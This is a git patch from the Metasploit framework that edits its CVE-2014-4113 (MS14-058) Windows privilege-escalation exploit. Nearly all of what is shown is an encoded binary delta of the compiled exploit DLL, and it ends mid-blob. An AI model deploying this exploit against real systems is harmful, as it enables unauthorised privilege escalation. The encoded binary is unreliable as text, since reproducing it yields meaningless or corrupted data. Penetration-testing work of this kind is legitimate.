From 34697a2240134305b268f7fff60d8efac35f8119 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 26 Oct 2014 17:28:35 -0500 Subject: [PATCH 1/3] Delete 'callback3' also from 32 bits version --- .../CVE-2014-4113/cve-2014-4113.x86.dll | Bin 82944 -> 82944 bytes .../cve-2014-4113/cve-2014-4113.c | 38 ------------------ .../local/ms14_058_track_popup_menu.rb | 4 +- 3 files changed, 3 insertions(+), 39 deletions(-) diff --git a/data/exploits/CVE-2014-4113/cve-2014-4113.x86.dll b/data/exploits/CVE-2014-4113/cve-2014-4113.x86.dll index a554809b8288401bfddf4e27ff3b96acc537f43b..ec1a27d5a69ee6db0532b49ee109ab5aa42d7c4f 100755 GIT binary patch delta 25628 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 delta 25400 zcmd^{dstLu`|sBp1{raXQ3pf>1qDS#og)m)2^ACzbr9u{qNr#Sk&(`LC~>e6gGP*6 z8dg*oR#aLRmQ$;ar+H#lH@2#;$4gt>c~$j|)l~#mEWxeko+4)R-4M56HlM!ES8GxlifkGPDTd*1lAsmbave<4fd^M?EbC3N01VWGIQOi^4xsky8SCDp*UJY}FeKnUoNwWbXG>2|xjBU~wR3(A}B zS}sLYiNzH_F_4!xhAU;j^?mNUGN%3SzvZr;^ai?@(ng!8duGKVY5Af7*YW`&0c#sd z#McBdjI%{5INU)DDg`;xBSd1&%j?(pw)hR(CSsUF=eZdHF^Oq6+-~x1Els+q<#{zL zqdTg2A=2vxvTlv?3y;dcda6#Ro<9(xrt|Y^y;DuRFX+FNK%YN|r27U~38Y;mC20 zGBPQ=@yAi1!?3t2Qjr9nPYCL?T&OPRDWTHrqpgh;<*$DUHFfpMFhuF4C2f;vZ8{N^nwxY1C&{LsRCE$DKav4 zxwVoam3oueh-A9ut^?$`)Vh+q3Is2S%bQ#hTA@&UdhX6s!qZ1#&QnmcHB5 zZ(6QW3TgSzLQqi{8!DWlv)<@G`r=-a)Uf>AC)9_lf+Ck!7;tqR5UwJNbtQ%PfV0Sg z9pR?yYi6qat?L6NOO@)GNQI9vw=zjwoy z@=81~G#vDhW!7r)DqY5XC5!MEl1P`7ABf>3qvpiaP!b>hCY12%2{9^eysIJx8KhSn z7yy=9k5h;v+&!aW937ZJr9FSS-CX$SxH+w*y-=CS z=-j0;q*{%T6&2)-_Nl;#6L{i$>BlI`5lZ5~ub#Wy>4PWJMiwXc_~`MDPN)TpJ1CZh zsM1)Z<2*%Ix`|#2Hs2d@HbsE(m_+P;C(v^th zJVjT=9%;2AfIBDxnOSX|Ys`fCB@|<$H;pW$fqo&xu~@6gD?{*-SdWuqz9*ckLPv=< 